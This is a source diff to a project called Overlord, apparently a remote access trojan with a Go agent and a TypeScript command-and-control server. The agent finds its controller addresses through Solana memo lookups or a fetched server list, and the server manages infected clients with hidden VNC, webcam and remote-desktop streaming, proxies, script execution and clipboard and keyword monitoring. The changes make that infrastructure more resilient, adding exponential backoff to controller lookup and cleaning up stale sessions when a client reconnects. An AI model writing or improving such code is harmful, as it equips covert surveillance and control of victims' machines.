diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 33e3492..93c360a 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -195,14 +195,23 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) { return } + const maxBackoff = 2 * time.Minute + if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 { log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress) + delay := backoff for len(cfg.ServerURLs) == 0 { if refreshServerURLsFromSolana(cfg) { return } - log.Printf("Retrying Solana memo lookup in %s", backoff) - time.Sleep(backoff) + log.Printf("Retrying Solana memo lookup in %s", delay) + time.Sleep(delay) + if delay < maxBackoff { + delay = delay * 2 + if delay > maxBackoff { + delay = maxBackoff + } + } } return } @@ -214,12 +223,19 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) { } log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL) + delay := backoff for len(cfg.ServerURLs) == 0 { if refreshServerURLsFromRaw(cfg) { return } - log.Printf("Retrying raw server list fetch in %s", backoff) - time.Sleep(backoff) + log.Printf("Retrying raw server list fetch in %s", delay) + time.Sleep(delay) + if delay < maxBackoff { + delay = delay * 2 + if delay > maxBackoff { + delay = maxBackoff + } + } } } diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index 726ca22..3e60414 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -491,7 +491,7 @@ export function upsertClientRow( ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms), build_tag=COALESCE(excluded.build_tag, clients.build_tag), built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id), - enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END, + enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END, public_key=COALESCE(excluded.public_key, clients.public_key), key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint), cpu=COALESCE(excluded.cpu, clients.cpu), diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 8fd038a..e2887cc 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -163,6 +163,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 })); + clearEnrollmentTimeout(id); const timeout = setTimeout(() => { enrollmentTimeouts.delete(id); try { @@ -271,6 +272,11 @@ export async function handleWebSocketMessage( } } + if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") { + logger.warn(`[purgatory] unexpected enrollment_status "${enrollmentStatus}" for ${ws.data.clientId}, treating as pending`); + enrollmentStatus = "pending"; + } + const resolvedId = ws.data.clientId; const buildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag.trim() @@ -337,7 +343,7 @@ export async function handleWebSocketMessage( ip: ip || undefined, country, }); - try { ws.close(4001, "pending"); } catch {} + setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100); return; } @@ -347,6 +353,23 @@ export async function handleWebSocketMessage( try { existingClient.ws.close(4004, "superseded"); } catch {} clientManager.deleteClient(resolvedId); clearEnrollmentTimeout(resolvedId); + stopAllProxiesForClient(resolvedId); + deps.clearPendingNotificationScreenshots(resolvedId); + deps.clearClientPluginState(resolvedId); + for (const [cmdId, pending] of deps.pendingScripts) { + if (pending.clientId === resolvedId) { + clearTimeout(pending.timeout); + pending.resolve({ ok: false, error: "Client reconnected (superseded)" }); + deps.pendingScripts.delete(cmdId); + } + } + for (const [cmdId, pending] of deps.pendingCommandReplies) { + if (pending.clientId === resolvedId) { + clearTimeout(pending.timeout); + pending.resolve({ ok: false, message: "Client reconnected (superseded)" }); + deps.pendingCommandReplies.delete(cmdId); + } + } deps.rdStreamingState.delete(resolvedId); deps.hvncStreamingState.delete(resolvedId); deps.webcamStreamingState.delete(resolvedId); @@ -380,17 +403,21 @@ export async function handleWebSocketMessage( }); const notificationConfig = deps.getNotificationConfig(); - ws.send( - encodeMessage({ - type: "hello_ack", - id: resolvedId, - notification: { - keywords: notificationConfig.keywords || [], - minIntervalMs: notificationConfig.minIntervalMs || 8000, - clipboardEnabled: notificationConfig.clipboardEnabled || false, - }, - }), - ); + try { + ws.send( + encodeMessage({ + type: "hello_ack", + id: resolvedId, + notification: { + keywords: notificationConfig.keywords || [], + minIntervalMs: notificationConfig.minIntervalMs || 8000, + clipboardEnabled: notificationConfig.clipboardEnabled || false, + }, + }), + ); + } catch (sendErr) { + logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`); + } handleHello(infoObj, payload, ws, ip); clientManager.addClient(infoObj.id, infoObj);